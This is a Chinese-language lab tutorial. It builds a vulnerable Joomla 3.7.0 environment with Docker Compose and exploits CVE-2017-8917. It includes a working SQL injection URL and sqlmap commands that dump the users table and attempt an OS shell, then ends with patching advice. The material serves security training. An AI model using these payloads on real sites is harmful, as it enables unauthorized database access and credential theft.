基于Docker Compose的Joomla 3.7.0漏洞靶场构建与SQL注入实战

在网络安全研究和渗透测试领域，快速搭建标准化漏洞环境是每个安全从业者的必备技能。传统的手动配置方式不仅耗时耗力，而且难以保证环境的一致性。本文将介绍如何利用Docker Compose这一现代化容器编排工具，一键搭建Joomla 3.7.0漏洞靶场环境，并深入解析SQL注入漏洞(CVE-2017-8917)的实战利用过程。

1. 环境准备与Docker Compose配置

1.1 系统基础环境要求

在开始之前，请确保您的系统满足以下基本要求：

• 已安装Docker Engine（版本18.06.0+）
• 已安装Docker Compose（版本1.25.0+）
• 至少2GB可用内存
• 10GB可用磁盘空间

提示：可以使用docker --version和docker-compose --version命令检查当前安装的版本。

1.2 创建项目目录结构

建议为每个漏洞环境创建独立的项目目录，保持环境隔离：

mkdir -p ~/vuln_labs/joomla_cve-2017-8917
cd ~/vuln_labs/joomla_cve-2017-8917

1.3 编写docker-compose.yml文件

创建并编辑docker-compose.yml文件，内容如下：

version: '3.8'
services:
  joomla:
    image: vulhub/joomla:3.7.0
    ports:
      - "8080:80"
    environment:
      - JOOMLA_DB_HOST=db
      - JOOMLA_DB_USER=joomla
      - JOOMLA_DB_PASSWORD=joomla
      - JOOMLA_DB_NAME=joomla
    depends_on:
      - db

  db:
    image: mysql:5.7
    environment:
      - MYSQL_ROOT_PASSWORD=root
      - MYSQL_DATABASE=joomla
      - MYSQL_USER=joomla
      - MYSQL_PASSWORD=joomla
    volumes:
      - mysql_data:/var/lib/mysql

volumes:
  mysql_data:

这个配置定义了两个服务：

• joomla：运行易受攻击的Joomla 3.7.0版本
• db：使用MySQL 5.7作为数据库后端

2. 启动漏洞环境

2.1 启动容器服务

在项目目录下执行以下命令启动环境：

docker-compose up -d

等待命令执行完成后，可以使用以下命令检查服务状态：

docker-compose ps

正常输出应显示两个服务状态为"Up"。

2.2 访问Joomla安装界面

打开浏览器，访问http://localhost:8080，按照以下步骤完成Joomla安装：

1. 选择语言（建议选择English）
2. 填写站点名称（如"Vulnerable Joomla"）
3. 填写管理员邮箱和密码（建议使用简单密码如"admin123"方便测试）
4. 在数据库配置部分保持默认值（与docker-compose.yml中配置一致）
5. 点击"Install"按钮完成安装

注意：安装完成后建议删除installation目录，执行以下命令：

docker-compose exec joomla rm -rf /var/www/html/installation

3. 漏洞分析与验证

3.1 CVE-2017-8917漏洞背景

Joomla 3.7.0版本中引入的com_fields组件存在SQL注入漏洞，攻击者无需认证即可利用此漏洞执行任意SQL查询。漏洞源于对list[fullordering]参数未进行充分过滤，导致SQL注入。

3.2 手动验证漏洞存在

构造以下URL验证漏洞是否存在：

http://localhost:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1)

如果页面返回包含数据库用户名的XPATH错误信息，则证明漏洞存在。

3.3 漏洞利用原理分析

漏洞利用的关键点在于：

1. com_fields组件未对list[fullordering]参数进行充分过滤
2. 该参数直接拼接到SQL查询的ORDER BY子句中
3. 通过注入XPATH函数触发错误信息泄露

典型的利用方式是通过updatexml()函数触发错误型注入，逐步提取数据库信息。

4. 使用SQLMap进行自动化注入测试

4.1 基本扫描命令

使用SQLMap进行初步检测：

sqlmap -u "http://localhost:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=test" -p "list[fullordering]" --risk=3 --level=5

关键参数说明：

• -u：指定目标URL
• -p：指定测试参数
• --risk：设置风险等级（1-3）
• --level：设置测试等级（1-5）

4.2 获取当前数据库信息

确认漏洞存在后，可以提取当前数据库信息：

sqlmap -u "http://localhost:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=test" -p "list[fullordering]" --current-db

4.3 提取数据库表结构

获取Joomla数据库中的所有表：

sqlmap -u "http://localhost:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=test" -p "list[fullordering]" -D joomla --tables

4.4 提取用户表数据

重点提取#__users表中的管理员凭证：

sqlmap -u "http://localhost:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=test" -p "list[fullordering]" -D joomla -T "#__users" --dump

提示：Joomla默认使用#__作为表前缀，在SQLMap中需要转义为#__

4.5 高级利用技巧

对于更复杂的场景，可以使用以下高级参数：

sqlmap -u "http://localhost:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=test" -p "list[fullordering]" --os-shell

此命令尝试获取操作系统shell，但成功率取决于服务器配置。

5. 防御建议与安全加固

5.1 漏洞修复方案

对于Joomla管理员，应立即采取以下措施：

1. 升级到Joomla 3.7.1或更高版本
2. 如果无法立即升级，可以临时禁用com_fields组件
3. 应用官方发布的补丁

5.2 安全最佳实践

• 定期更新所有组件和插件
• 限制后台管理界面的访问IP
• 使用强密码策略
• 启用Web应用防火墙(WAF)
• 定期进行安全审计和漏洞扫描

5.3 Docker环境安全建议

• 定期更新Docker镜像
• 限制容器间的网络通信
• 使用只读文件系统挂载
• 设置适当的资源限制
• 避免在容器中使用root用户

6. 环境清理与资源释放

测试完成后，可以使用以下命令停止并清理环境：

docker-compose down -v

此命令会：

• 停止所有容器
• 删除容器网络
• 删除持久化卷（包括数据库数据）

如果需要保留数据库数据供后续分析，可以省略-v参数。